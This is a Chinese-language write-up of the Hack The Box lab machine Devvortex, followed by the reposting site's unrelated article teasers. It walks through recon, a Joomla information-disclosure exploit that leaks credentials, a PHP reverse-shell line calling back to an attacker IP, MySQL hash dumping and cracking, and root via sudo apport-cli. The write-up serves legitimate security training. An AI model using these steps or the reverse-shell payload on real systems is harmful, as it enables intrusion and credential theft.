Hack The Box-Devvortex


目录

信息收集

nmap

whatweb

WEB

web信息收集

wfuzz

漏洞探索

漏洞发现

反弹shell

提权

get user

hashcat

get root


信息收集

nmap
端口信息收集┌──(root?ru)-[~/kali/hackthebox]
└─# nmap -p- 10.10.11.242 --min-rate 10000           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 16:35 CST
Warning: 10.10.11.242 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.242
Host is up (0.26s latency).
Not shown: 65417 closed tcp ports (reset), 116 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
服务版本信息探测┌──(root㉿ru)-[~/kali/hackthebox]
└─# nmap -sCV -O -A -p 22,80 10.10.11.242 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 16:36 CST
Nmap scan report for 10.10.11.242
Host is up (0.28s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   355.77 ms 10.10.14.1
2   360.45 ms 10.10.11.242OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.63 seconds

whatweb
┌──(root㉿ru)-[~/kali/hackthebox]
└─# whatweb -v 10.10.11.242                     
WhatWeb report for http://10.10.11.242
Status    : 302 Found
Title     : 302 Found
IP        : 10.10.11.242
Country   : RESERVED, ZZSummary   : HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], nginx[1.18.0], RedirectLocation[http://devvortex.htb/]Detected Plugins:
[ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS           : Ubuntu LinuxString       : nginx/1.18.0 (Ubuntu) (from server string)[ RedirectLocation ]HTTP Server string location. used with http-status 301 and 302 String       : http://devvortex.htb/ (from location)[ nginx ]Nginx (Engine-X) is a free, open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server. Version      : 1.18.0Website     : http://nginx.net/HTTP Headers:HTTP/1.1 302 Moved TemporarilyServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Mar 2024 08:37:35 GMTContent-Type: text/htmlContent-Length: 154Connection: closeLocation: http://devvortex.htb/
只开放了 22 80 两个端口!devvortex.htb/ 加入到hosts文件中!┌──(root㉿ru)-[~/kali/hackthebox]
└─# echo "10.10.11.242 devvortex.htb/" | tee -a /etc/hosts     
10.10.11.242 devvortex.htb/

WEB

web信息收集

主页是一个服务提供网站!我们深入探索!

wfuzz
我已经使用目录探测工具扫描过了!发现没啥可疑的!使用wfuzz查看是否存在子域名!!
子域名探测┌──(root㉿ru)-[~/kali/hackthebox]
└─# wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H 'Host:FUZZ.devvortex.htb' -t 50 --hc 302/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************Target: http://devvortex.htb/
Total requests: 19966=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                             
=====================================================================000000019:   200        501 L    1581 W     23221 Ch    "dev"     
存在!我们加入到hosts文件中!随后我们再开启子域名的爆破!


目录扫描┌──(root㉿ru)-[~/kali/hackthebox]
└─# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://dev.devvortex.htb/FUZZ -t 100 --hc 404,403/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************Target: http://dev.devvortex.htb/FUZZ
Total requests: 17770=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                             
=====================================================================000000007:   301        7 L      12 W       178 Ch      "cache"                                                                                                                                                             
000000005:   301        7 L      12 W       178 Ch      "modules"                                                                                                                                                           
000000006:   301        7 L      12 W       178 Ch      "templates"                                                                                                                                                         
000000077:   301        7 L      12 W       178 Ch      "api"                                                                                                                                                               
000000018:   301        7 L      12 W       178 Ch      "components"                                                                                                                                                        
000000004:   301        7 L      12 W       178 Ch      "includes"                                                                                                                                                          
000000008:   301        7 L      12 W       178 Ch      "media"                                                                                                                                                             
000000002:   301        7 L      12 W       178 Ch      "images"                                                                                                                                                            
000000016:   301        7 L      12 W       178 Ch      "plugins"                                                                                                                                                           
000000011:   301        7 L      12 W       178 Ch      "tmp"                                                                                                                                                               
000000023:   301        7 L      12 W       178 Ch      "libraries"                                                                                                                                                         
000000010:   301        7 L      12 W       178 Ch      "language"                                                                                                                                                          
000000017:   301        7 L      12 W       178 Ch      "administrator"                                                                                                                                                     
000000127:   200        501 L    1581 W     23221 Ch    "home"                                                                                                                                                              
000000653:   301        7 L      12 W       178 Ch      "layouts"  
administrator  这个很奇怪!!

老常客!Joomla!!


在这,我们知道了该cms的版本!


漏洞探索

漏洞发现

GitHub - Acceis/exploit-CVE-2023-23752: Joomla! < 4.2.8 - Unauthenticated information disclosureJoomla! < 4.2.8 - Unauthenticated information disclosure - Acceis/exploit-CVE-2023-23752icon-default.png?t=N7T8https://github.com/Acceis/exploit-CVE-2023-23752

该exp使用Ruby语言写的!我们利用一下exp! 如果缺少模块记得安装!gem install 模块名

没一会就爆破出来了!user:lewis
pass:P4ntherg0t1n5r3c0n##


既然进来了,我们只需要找到管理员模板写入shell即可!
模板路径System->Templates->Administrator Templates->index.php

反弹shell

因为语言是php,所以我们使用php payloadexec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.35/1234 0>&1'");写完之后记得保存!随后访问主页即可触发payload!


提权

get user
我们之前使用漏洞脚本发现该cms是存在数据库的!我们登录一下数据库!
www-data@devvortex:~/dev.devvortex.htb/administrator$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 26575
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)Copyright (c) 2000, 2023, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)mysql> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
mysql> select username,password from sd4fg_users;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| lewis    | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan    | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+
2 rows in set (0.00 sec)
logan:$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
hashcat
hashcat -a 0 -m 3200 hash.list /usr/share/wordlists/rockyou.txt  


user:logan
pass:tequieromucho


get root
logan@devvortex:~$ sudo -l
[sudo] password for logan: 
Sorry, try again.
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser logan may run the following commands on devvortex:(ALL : ALL) /usr/bin/apport-cli

https://github.com/diego-tella/CVE-2023-1326-PoCicon-default.png?t=N7T8https://github.com/diego-tella/CVE-2023-1326-PoC

按照顺序输入1、2、V这时候发现出现一个类似与vi编辑器的东西!我们输入 !/bin/bash 即可!!


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/755992.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python基于vue考试分析系统的设计和实现-flask-django-nodejs-php

接着&#xff0c;本文还讨论了该系统的设计目的&#xff0c;还讨论了系统的需求&#xff0c;并提出了整体的设计方案。对于该系统的设计和实现&#xff0c;也都进行了较为详细的讨论&#xff0c;并在此基础上&#xff0c;对考试分析系统系统展开了一些具体的测试。随着电子技术…

解决IDEA创建SpringBoot项目没有Java版本8

原因&#xff1a; spring2.X版本在2023年11月24日停止维护了&#xff0c;因此创建spring项目时不再有2.X版本的选项&#xff0c;只能从3.1.X版本开始选择 而Spring3.X版本不支持JDK8&#xff0c;JDK11&#xff0c;最低支持JDK17&#xff0c;因此JDK11也无法选择了 当然&…

24.1 SpringCloud电商实战一刷

24.1 SpringCloud微服务电商项目实战 1. 周介绍2. 功能模块介绍2.1 前台客户端2.2 后台管理端3. Eureka注册中心3.1 创建Eureka服务1. 目录结构2. 依赖引入3. 启动类EurekaServerApplication4. 配置文件application4. 用户模块4.1 核心功能4.2 表结构4.3 用户模块初始化

【代码】YOLOv8标注信息验证

此代码的功能是标注信息验证&#xff0c;将原图和YOLOv8标注文件&#xff08;txt&#xff09;放在同一个文件夹中&#xff0c;作为输入文件夹 程序将标注的信息还原到原图中&#xff0c;并将原图和标注后的图像一同保存&#xff0c;以便查看 两个draw_labels函数&#xff0c;分…

[Linux] 进程间通信基础

&#x1f4bb;文章目录 &#x1f4c4;前言进程间通信基础概念 管道概念管道的工作原理模拟实现shell中的管道 共享内存概念接口的介绍共享内存的使用 &#x1f4d3;总结 &#x1f4c4;前言 你是否了解进程间是如何通信的呢&#xff1f;你是否知道管道的工作原理呢&#xff1f;管…

关于Web端 —— UI自动化测试

在手工测试阶段&#xff0c;针对项目输出了测试用例&#xff0c;如果这些测试用例需要在版本迭代的过程中&#xff0c;需要进行回归测试&#xff0c;通过手工重复地执行测试用例&#xff0c;将会耗费大量的人力。 为此应运而生就有了自动化测试&#xff0c;通过使用自动化工具…

【docker】Docker打包SpringBoot镜像

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;中间件 ⛺️稳中求进&#xff0c;晒太阳 前置说明 最为原始的打包方式spring-boot-maven-plugin插件jib-maven-plugin插件dockerfle-maven-plugin插件 最为原始的方式 也就是使用Docker的打…

从哈希桶角度看 unordered_map 与 unordered_set 的实现

文章目录 一、引言二、C unordered系列的无序关联式容器概览三、基于哈希桶的C unordered系列数据结构模拟实现1、unordered_map的模拟实现2、unordered_set的模拟实现3、哈希桶及其迭代器实现的代码 四、扩展与应用1. 自定义哈希函数2. 其他unordered数据结构unordered_multim…

蓝桥杯/慈善晚会/c\c++

问题描述 热心公益的G哥哥又来举办慈善晚会了&#xff0c;这次他邀请到了巴菲特、马云等巨富&#xff0c;还邀请到了大V、小C等算法界泰斗。晚会一共邀请了n位尊贵的客人&#xff0c;每位客人都位于不同的城市&#xff0c;也就是说每座城市都有且仅有一位客人。这些城市的编号为…

大模型知识库

一种利用 langchain 思想实现的基于本地知识库的问答应用&#xff0c;目标期望建立一套对中文场景与开源模型支持友好、可离线运行的知识库问答解决方案。 1. 下载Langchain-chatchat git clone https://github.com/chatchat-space/Langchain-Chatchat/ 2. 下载大模型和embe…

c++ 自己实现一个迭代器

具体代码 /*自定义迭代器的实现 */ #include <iostream> using namespace std; class num {int val; //具体的数字int length; //数字的位数void calculate_length(){if(val/100){ //这个数字只有1位length1;return;}int x10; //这里就是不断重复除直…

python连接mysql数据库步骤

连接MySQL数据库通常需要使用第三方库&#xff0c;而在Python中&#xff0c;mysql-connector-python 是一个常用的 MySQL 连接库。以下是连接 MySQL 数据库的步骤&#xff1a; 安装 MySQL 连接库&#xff1a; 使用以下命令安装 mysql-connector-python&#xff1a; pip insta…

汽车电子零部件(8):T_Box

前言: 网联汽车(Connected Vehicles ,CV)是一个广泛的概念,四个主要的CV线程已发展起来:互联、自主、共享和电动。这些应用于包括CV在内的垂直领域:汽车、通信、互联网和共享手机服务。中国汽车工程师学会(SAEC)提倡将车载ADAS(高级驾驶员辅助系统)与通信技术相结合…

gitlab仓库使用流程(开发)

1.1.GitLab代码提交流程&#xff1a; 1.1.1准备阶段&#xff1a; 确保已经安装了Git&#xff0c;并且配置了正确的用户名和邮箱地址。 在本地创建一个新的文件夹&#xff0c;用于存放即将开发的代码。 1.1.2.拉取代码&#xff1a; 使用git clone命令从GitLab上拉取项目代码…

基于python的在线学习与推荐系统

技术&#xff1a;pythonmysqlvue 一、系统背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化&#xff0c;规范化管理。这样的大…

java数据库关系数据库设计(下)

目录 1.概念模型:E-R图 1.实体 2.属性 3.联系 4.实体间的映射关系 2.物理模型:数据库模型图 3.数据库规范设计 1.常见数据库设计问题 2.三大范式 1.第一范式 2.第二范式 3.第三范式 3.规范化和性能的关系 1.概念模型:E-R图 在数据库需求分析阶段&#xff…

阿里5年经验之谈 —— 接口测试用例如何编写?

接口测试用例如何编写&#xff1f;下面简单给大家讲解一下。 接口测试用例是目前软件开发中不可或缺的一个重要部分&#xff0c;因此编写接口测试用例同样重要。 接口测试用例的作用非常明显&#xff0c;它能够帮助我们了解产品正在考验、调整它如何表现在特定情境之下、产品…

每日一题:C语言经典例题之求n!

题目描述 输入一个正整数n&#xff08;1<n<12)&#xff0c;求n!。 输入 输入一个正整数n。 输出 输出n!。 样例输入&#xff1a; 3 样例输出&#xff1a; 6 代码&#xff1a; #include <stdio.h> int f(int n) {if(n1)return 1;else{return n*f(n-1);} } int main(…

01|模型IO:输入提示、调用模型、解析输出

Model I/O 可以把对模型的使用过程拆解成三块&#xff0c;分别是输入提示&#xff08;对应图中的Format&#xff09;、调用模型&#xff08;对应图中的Predict&#xff09;和输出解析&#xff08;对应图中的Parse&#xff09;。这三块形成了一个整体&#xff0c;因此在LangCha…

VScode 设置个性化背景(保姆级教程)

VS Code设置个性化背景的作用主要体现在以下几个方面&#xff1a; 提升编程体验&#xff1a;个性化背景能够让编程环境更符合个人的审美和习惯&#xff0c;使得长时间在VS Code中进行代码编辑时&#xff0c;能够保持愉悦的心情&#xff0c;从而提高编程效率。减少视觉疲劳&…